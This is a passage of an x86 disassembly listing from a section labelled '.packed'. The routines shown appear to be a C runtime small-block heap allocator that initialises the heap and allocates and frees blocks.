		call	dword_4F5360	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_423F09
		call	sub_429AA0
		mov	dword ptr [eax], 78h
		call	sub_429A90
		mov	dword ptr [eax], 28h
		jmp	short loc_423F10
; ---------------------------------------------------------------------------

loc_423F09:				; CODE XREF: sub_423E20+CFj
		mov	[ebp+var_1C], 0FFFFFFFCh

loc_423F10:				; CODE XREF: sub_423E20+C4j
					; sub_423E20+E7j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_423E20
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	sub_423E20
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	dword_4F3AAC, 3
		jnz	short loc_423F53
		mov	eax, dword_4F3ACC
		jmp	short loc_423F65
; ---------------------------------------------------------------------------

loc_423F53:				; CODE XREF: .packed:00423F4Aj
		cmp	dword_4F3AAC, 2
		jnz	short loc_423F63
		mov	eax, dword_453C9C
		jmp	short loc_423F65
; ---------------------------------------------------------------------------

loc_423F63:				; CODE XREF: .packed:00423F5Aj
		xor	eax, eax

loc_423F65:				; CODE XREF: .packed:00423F51j
					; .packed:00423F61j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4F3AAC, 3
		jnz	short loc_423F9F
		cmp	dword ptr [ebp+8], 3F8h
		ja	short loc_423F98
		mov	eax, [ebp+8]
		mov	dword_4F3ACC, eax
		mov	eax, 1
		jmp	loc_424076
; ---------------------------------------------------------------------------

loc_423F98:				; CODE XREF: .packed:00423F84j
		xor	eax, eax
		jmp	loc_424076
; ---------------------------------------------------------------------------

loc_423F9F:				; CODE XREF: .packed:00423F7Bj
		cmp	dword_4F3AAC, 2
		jnz	short loc_423FD7
		mov	ecx, [ebp+8]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+8], ecx
		cmp	dword ptr [ebp+8], 780h
		ja	short loc_423FD0
		mov	edx, [ebp+8]
		mov	dword_453C9C, edx
		mov	eax, 1
		jmp	loc_424076
; ---------------------------------------------------------------------------

loc_423FD0:				; CODE XREF: .packed:00423FBBj
		xor	eax, eax
		jmp	loc_424076
; ---------------------------------------------------------------------------

loc_423FD7:				; CODE XREF: .packed:00423FA6j
		cmp	dword_4F3AAC, 1
		jnz	loc_424074
		cmp	dword ptr [ebp+8], 0
		jbe	loc_424074
		lea	eax, [ebp-4]
		push	eax
		call	sub_426C30
		add	esp, 4
		mov	ecx, [ebp-4]
		and	ecx, 0FFh
		cmp	ecx, 6
		jl	short loc_42403C
		cmp	dword ptr [ebp+8], 3F8h
		ja	short loc_42403A
		mov	edx, [ebp+8]
		push	edx
		call	sub_424080
		add	esp, 4
		test	eax, eax
		jz	short loc_42403A
		mov	eax, [ebp+8]
		mov	dword_4F3ACC, eax
		mov	dword_4F3AAC, 3
		mov	eax, 1
		jmp	short loc_424076
; ---------------------------------------------------------------------------

loc_42403A:				; CODE XREF: .packed:0042400Fj
					; .packed:0042401Fj
		jmp	short loc_424074
; ---------------------------------------------------------------------------

loc_42403C:				; CODE XREF: .packed:00424006j
		mov	ecx, [ebp+8]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+8], ecx
		cmp	dword ptr [ebp+8], 780h
		ja	short loc_424074
		call	sub_425D50
		test	eax, eax
		jz	short loc_424074
		mov	edx, [ebp+8]
		mov	dword_453C9C, edx
		mov	dword_4F3AAC, 2
		mov	eax, 1
		jmp	short loc_424076
; ---------------------------------------------------------------------------

loc_424074:				; CODE XREF: .packed:00423FDEj
					; .packed:00423FE8j ...
		xor	eax, eax

loc_424076:				; CODE XREF: .packed:00423F93j
					; .packed:00423F9Aj ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424080	proc near		; CODE XREF: .packed:00424015p
					; sub_426EC0+44p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	140h
		push	0
		mov	eax, dword_4F3AA8
		push	eax
		call	dword_4F5418	; RtlAllocateHeap
		mov	dword_4F3AC8, eax
		cmp	dword_4F3AC8, 0
		jnz	short loc_4240A8
		xor	eax, eax
		jmp	short loc_4240E0
; ---------------------------------------------------------------------------

loc_4240A8:				; CODE XREF: sub_424080+22j
		mov	ecx, [ebp+arg_0]
		mov	dword_4F3ACC, ecx
		mov	edx, dword_4F3AC8
		mov	dword_4F3AB8, edx
		mov	dword_4F3AC0, 0
		mov	dword_4F3AC4, 0
		mov	dword_4F3AB0, 10h
		mov	eax, 1

loc_4240E0:				; CODE XREF: sub_424080+26j
		pop	ebp
		retn
sub_424080	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4240F0	proc near		; CODE XREF: sub_41D6B0+41p
					; sub_423620+52p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_4F3AC4
		imul	eax, 14h
		mov	ecx, dword_4F3AC8
		add	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, dword_4F3AC8
		mov	[ebp+var_8], edx

loc_424112:				; CODE XREF: sub_4240F0+4Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_42413F
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		sub	edx, [ecx+0Ch]
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 100000h
		jnb	short loc_424134
		mov	eax, [ebp+var_8]
		jmp	short loc_424141
; ---------------------------------------------------------------------------

loc_424134:				; CODE XREF: sub_4240F0+3Dj
		mov	eax, [ebp+var_8]
		add	eax, 14h
		mov	[ebp+var_8], eax
		jmp	short loc_424112
; ---------------------------------------------------------------------------

loc_42413F:				; CODE XREF: sub_4240F0+28j
		xor	eax, eax

loc_424141:				; CODE XREF: sub_4240F0+42j
		mov	esp, ebp
		pop	ebp
		retn
sub_4240F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424150	proc near		; CODE XREF: sub_41D6B0+5Dp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		sub	ecx, [eax+0Ch]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		shr	edx, 0Fh
		mov	[ebp+var_4], edx
		mov	eax, 80000000h
		mov	ecx, [ebp+var_4]
		shr	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		and	edx, eax
		test	edx, edx
		jnz	short loc_4241A1
		mov	eax, [ebp+var_8]
		and	eax, 0Fh
		test	eax, eax
		jnz	short loc_4241A1
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFFh
		test	ecx, ecx
		jz	short loc_4241A1
		mov	[ebp+var_C], 1
		jmp	short loc_4241A8
; ---------------------------------------------------------------------------

loc_4241A1:				; CODE XREF: sub_424150+2Fj
					; sub_424150+39j ...
		mov	[ebp+var_C], 0

loc_4241A8:				; CODE XREF: sub_424150+4Fj
		mov	eax, [ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_424150	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4241B0	proc near		; CODE XREF: sub_423830+132p
					; sub_423830+1B2p ...

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		mov	[ebp+var_3C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		sub	eax, [edx+0Ch]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		shr	ecx, 0Fh
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		imul	edx, 204h
		mov	eax, [ebp+var_3C]
		lea	ecx, [eax+edx+144h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		sub	edx, 4
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		sub	ecx, 1
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_30]
		and	edx, 1
		test	edx, edx
		jz	short loc_42420D
		jmp	loc_424788
; ---------------------------------------------------------------------------

loc_42420D:				; CODE XREF: sub_4241B0+56j
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_30]
		mov	[ebp+var_38], eax
		mov	ecx, [ebp+var_38]
		mov	edx, [ecx]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax-4]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_14]
		and	edx, 1
		test	edx, edx
		jnz	loc_424357
		mov	eax, [ebp+var_14]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 3Fh
		jbe	short loc_42424E
		mov	[ebp+var_24], 3Fh

loc_42424E:				; CODE XREF: sub_4241B0+95j
		mov	ecx, [ebp+var_38]
		mov	edx, [ebp+var_38]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_424330
		cmp	[ebp+var_24], 20h
		jnb	short loc_4242C5
		mov	edx, 80000000h
		mov	ecx, [ebp+var_24]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_3C]
		mov	eax, [ecx+eax*4+44h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	[edx+ecx*4+44h], eax
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_24]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_3C]
		add	edx, [ebp+var_24]
		mov	[edx+4], cl
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_24]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_4242C3
		mov	edx, 80000000h
		mov	ecx, [ebp+var_24]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx

loc_4242C3:				; CODE XREF: sub_4241B0+F9j
		jmp	short loc_424330
; ---------------------------------------------------------------------------

loc_4242C5:				; CODE XREF: sub_4241B0+B4j
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+0C4h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+0C4h], ecx
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_24]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_24]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_24]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_424330
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx

loc_424330:				; CODE XREF: sub_4241B0+AAj
					; sub_4241B0:loc_4242C3j ...
		mov	ecx, [ebp+var_38]
		mov	edx, [ecx+8]
		mov	eax, [ebp+var_38]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_38]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_38]
		mov	edx, [ecx+8]
		mov	[eax+8], edx
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_14]
		mov	[ebp+var_30], eax

loc_424357:				; CODE XREF: sub_4241B0+7Fj
		mov	ecx, [ebp+var_30]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_28], ecx
		cmp	[ebp+var_28], 3Fh
		jbe	short loc_424370
		mov	[ebp+var_28], 3Fh

loc_424370:				; CODE XREF: sub_4241B0+1B7j
		mov	edx, [ebp+var_C]
		and	edx, 1
		test	edx, edx
		jnz	loc_4244D4
		mov	eax, [ebp+var_1C]
		sub	eax, [ebp+var_C]
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_C]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_2C], ecx
		cmp	[ebp+var_2C], 3Fh
		jbe	short loc_4243A0
		mov	[ebp+var_2C], 3Fh

loc_4243A0:				; CODE XREF: sub_4241B0+1E7j
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_C]
		mov	[ebp+var_30], edx
		mov	eax, [ebp+var_30]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 3Fh
		jbe	short loc_4243C2
		mov	[ebp+var_28], 3Fh

loc_4243C2:				; CODE XREF: sub_4241B0+209j
		mov	ecx, [ebp+var_2C]
		cmp	ecx, [ebp+var_28]
		jz	loc_4244CE
		mov	edx, [ebp+var_34]
		mov	eax, [ebp+var_34]
		mov	ecx, [edx+4]
		cmp	ecx, [eax+8]
		jnz	loc_4244B0
		cmp	[ebp+var_2C], 20h
		jnb	short loc_424445
		mov	edx, 80000000h
		mov	ecx, [ebp+var_2C]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_3C]
		mov	eax, [ecx+eax*4+44h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	[edx+ecx*4+44h], eax
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_2C]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_3C]
		add	edx, [ebp+var_2C]
		mov	[edx+4], cl
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_2C]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_424443
		mov	edx, 80000000h
		mov	ecx, [ebp+var_2C]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx

loc_424443:				; CODE XREF: sub_4241B0+279j
		jmp	short loc_4244B0
; ---------------------------------------------------------------------------

loc_424445:				; CODE XREF: sub_4241B0+234j
		mov	ecx, [ebp+var_2C]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+0C4h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+0C4h], ecx
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_2C]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_2C]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_2C]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_4244B0
		mov	ecx, [ebp+var_2C]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx

loc_4244B0:				; CODE XREF: sub_4241B0+22Aj
					; sub_4241B0:loc_424443j ...
		mov	ecx, [ebp+var_34]
		mov	edx, [ecx+8]
		mov	eax, [ebp+var_34]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_34]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_34]
		mov	edx, [ecx+8]
		mov	[eax+8], edx

loc_4244CE:				; CODE XREF: sub_4241B0+218j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_1C], eax

loc_4244D4:				; CODE XREF: sub_4241B0+1C8j
		mov	ecx, [ebp+var_C]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_4244EA
		mov	edx, [ebp+var_2C]
		cmp	edx, [ebp+var_28]
		jz	loc_4245FA

loc_4244EA:				; CODE XREF: sub_4241B0+32Cj
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax*8]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_20]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_1C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_1C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_4245FA
		cmp	[ebp+var_28], 20h
		jnb	short loc_424593
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_28]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_424571
		mov	edx, 80000000h
		mov	ecx, [ebp+var_28]
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx

loc_424571:				; CODE XREF: sub_4241B0+3A9j
		mov	eax, 80000000h
		mov	ecx, [ebp+var_28]
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+44h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+44h], ecx
		jmp	short loc_4245FA
; ---------------------------------------------------------------------------

loc_424593:				; CODE XREF: sub_4241B0+386j
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_28]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_4245D1
		mov	ecx, [ebp+var_28]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx

loc_4245D1:				; CODE XREF: sub_4241B0+404j
		mov	ecx, [ebp+var_28]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+0C4h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+0C4h], ecx

loc_4245FA:				; CODE XREF: sub_4241B0+334j
					; sub_4241B0+37Cj ...
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_30]
		mov	[ecx], edx
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_30]
		mov	[eax-4], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+var_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx], 0
		jnz	loc_424788
		cmp	dword_4F3AC0, 0
		jz	loc_424777
		mov	eax, dword_4F3AB4
		shl	eax, 0Fh
		mov	ecx, dword_4F3AC0
		mov	edx, [ecx+0Ch]
		add	edx, eax
		mov	[ebp+var_18], edx
		push	4000h
		push	8000h
		mov	eax, [ebp+var_18]
		push	eax
		call	dword_4F54B0	; VirtualFree
		mov	edx, 80000000h
		mov	ecx, dword_4F3AB4
		shr	edx, cl
		mov	eax, dword_4F3AC0
		mov	ecx, [eax+8]
		or	ecx, edx
		mov	edx, dword_4F3AC0
		mov	[edx+8], ecx
		mov	eax, dword_4F3AC0
		mov	ecx, [eax+10h]
		mov	edx, dword_4F3AB4
		mov	dword ptr [ecx+edx*4+0C4h], 0
		mov	eax, dword_4F3AC0
		mov	ecx, [eax+10h]
		mov	dl, [ecx+43h]
		sub	dl, 1
		mov	eax, dword_4F3AC0
		mov	ecx, [eax+10h]
		mov	[ecx+43h], dl
		mov	edx, dword_4F3AC0
		mov	eax, [edx+10h]
		movsx	ecx, byte ptr [eax+43h]
		test	ecx, ecx
		jnz	short loc_4246D5
		mov	edx, dword_4F3AC0
		mov	eax, [edx+4]
		and	al, 0FEh
		mov	ecx, dword_4F3AC0
		mov	[ecx+4], eax

loc_4246D5:				; CODE XREF: sub_4241B0+50Fj
		mov	edx, dword_4F3AC0
		cmp	dword ptr [edx+8], 0FFFFFFFFh
		jnz	loc_424777
		push	8000h
		push	0
		mov	eax, dword_4F3AC0
		mov	ecx, [eax+0Ch]
		push	ecx
		call	dword_4F54B0	; VirtualFree
		mov	edx, dword_4F3AC0
		mov	eax, [edx+10h]
		push	eax
		push	0
		mov	ecx, dword_4F3AA8
		push	ecx
		call	dword_4F5414	; RtlFreeHeap
		mov	edx, dword_4F3AC4
		imul	edx, 14h
		mov	eax, dword_4F3AC8
		add	eax, edx
		mov	ecx, dword_4F3AC0
		add	ecx, 14h
		sub	eax, ecx
		push	eax
		mov	edx, dword_4F3AC0
		add	edx, 14h
		push	edx
		mov	eax, dword_4F3AC0
		push	eax
		call	sub_420840
		add	esp, 0Ch
		mov	ecx, dword_4F3AC4
		sub	ecx, 1
		mov	dword_4F3AC4, ecx
		mov	edx, [ebp+arg_0]
		cmp	edx, dword_4F3AC0
		jbe	short loc_42476B
		mov	eax, [ebp+arg_0]
		sub	eax, 14h
		mov	[ebp+arg_0], eax

loc_42476B:				; CODE XREF: sub_4241B0+5B0j
		mov	ecx, dword_4F3AC8
		mov	dword_4F3AB8, ecx

loc_424777:				; CODE XREF: sub_4241B0+47Ej
					; sub_4241B0+52Fj
		mov	edx, [ebp+arg_0]
		mov	dword_4F3AC0, edx
		mov	eax, [ebp+var_4]
		mov	dword_4F3AB4, eax

loc_424788:				; CODE XREF: sub_4241B0+58j
					; sub_4241B0+471j
		mov	esp, ebp
		pop	ebp
		retn
sub_4241B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424790	proc near		; CODE XREF: sub_4234C0+4Cp
					; sub_423830+D4p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	esi
		mov	eax, dword_4F3AC4
		imul	eax, 14h
		mov	ecx, dword_4F3AC8
		add	ecx, eax
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 17h
		and	edx, 0FFFFFFF0h
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_28]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 20h
		jge	short loc_4247DC
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		mov	[ebp+var_24], edx
		mov	[ebp+var_34], 0FFFFFFFFh
		jmp	short loc_4247F1
; ---------------------------------------------------------------------------

loc_4247DC:				; CODE XREF: sub_424790+36j
		mov	[ebp+var_24], 0
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		or	eax, 0FFFFFFFFh
		shr	eax, cl
		mov	[ebp+var_34], eax

loc_4247F1:				; CODE XREF: sub_424790+4Aj
		mov	ecx, dword_4F3AB8
		mov	[ebp+var_18], ecx

loc_4247FA:				; CODE XREF: sub_424790+94j
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_2C]
		jnb	short loc_424826
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_24]
		and	ecx, [eax]
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_34]
		and	eax, [edx+4]
		or	ecx, eax
		test	ecx, ecx
		jz	short loc_42481B
		jmp	short loc_424826
; ---------------------------------------------------------------------------

loc_42481B:				; CODE XREF: sub_424790+87j
		mov	ecx, [ebp+var_18]
		add	ecx, 14h
		mov	[ebp+var_18], ecx
		jmp	short loc_4247FA
; ---------------------------------------------------------------------------

loc_424826:				; CODE XREF: sub_424790+70j
					; sub_424790+89j
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_2C]
		jnz	loc_42490D
		mov	eax, dword_4F3AC8
		mov	[ebp+var_18], eax

loc_42483A:				; CODE XREF: sub_424790+D7j
		mov	ecx, [ebp+var_18]
		cmp	ecx, dword_4F3AB8
		jnb	short loc_424869
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_24]
		and	eax, [edx]
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_34]
		and	edx, [ecx+4]
		or	eax, edx
		test	eax, eax
		jz	short loc_42485E
		jmp	short loc_424869
; ---------------------------------------------------------------------------

loc_42485E:				; CODE XREF: sub_424790+CAj
		mov	eax, [ebp+var_18]
		add	eax, 14h
		mov	[ebp+var_18], eax
		jmp	short loc_42483A
; ---------------------------------------------------------------------------

loc_424869:				; CODE XREF: sub_424790+B3j
					; sub_424790+CCj
		mov	ecx, [ebp+var_18]
		cmp	ecx, dword_4F3AB8
		jnz	loc_42490D

loc_424878:				; CODE XREF: sub_424790+104j
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_2C]
		jnb	short loc_424896
		mov	eax, [ebp+var_18]
		cmp	dword ptr [eax+8], 0
		jz	short loc_42488B
		jmp	short loc_424896
; ---------------------------------------------------------------------------

loc_42488B:				; CODE XREF: sub_424790+F7j
		mov	ecx, [ebp+var_18]
		add	ecx, 14h
		mov	[ebp+var_18], ecx
		jmp	short loc_424878
; ---------------------------------------------------------------------------

loc_424896:				; CODE XREF: sub_424790+EEj
					; sub_424790+F9j
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_2C]
		jnz	short loc_4248E7
		mov	eax, dword_4F3AC8
		mov	[ebp+var_18], eax

loc_4248A6:				; CODE XREF: sub_424790+135j
		mov	ecx, [ebp+var_18]
		cmp	ecx, dword_4F3AB8
		jnb	short loc_4248C7
		mov	edx, [ebp+var_18]
		cmp	dword ptr [edx+8], 0
		jz	short loc_4248BC
		jmp	short loc_4248C7
; ---------------------------------------------------------------------------

loc_4248BC:				; CODE XREF: sub_424790+128j
		mov	eax, [ebp+var_18]
		add	eax, 14h
		mov	[ebp+var_18], eax
		jmp	short loc_4248A6
; ---------------------------------------------------------------------------

loc_4248C7:				; CODE XREF: sub_424790+11Fj
					; sub_424790+12Aj
		mov	ecx, [ebp+var_18]
		cmp	ecx, dword_4F3AB8
		jnz	short loc_4248E7
		call	sub_424CD0
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_4248E7
		xor	eax, eax
		jmp	loc_424CC1
; ---------------------------------------------------------------------------

loc_4248E7:				; CODE XREF: sub_424790+10Cj
					; sub_424790+140j ...
		mov	edx, [ebp+var_18]
		push	edx
		call	sub_424DE0
		add	esp, 4
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx+10h]
		mov	[edx], eax
		mov	eax, [ebp+var_18]
		mov	ecx, [eax+10h]
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jnz	short loc_42490D
		xor	eax, eax
		jmp	loc_424CC1
; ---------------------------------------------------------------------------

loc_42490D:				; CODE XREF: sub_424790+9Cj
					; sub_424790+E2j ...
		mov	edx, [ebp+var_18]
		mov	dword_4F3AB8, edx
		mov	eax, [ebp+var_18]
		mov	ecx, [eax+10h]
		mov	[ebp+var_38], ecx
		mov	edx, [ebp+var_38]
		mov	eax, [edx]
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 0FFFFFFFFh
		jz	short loc_424950
		mov	ecx, [ebp+var_30]
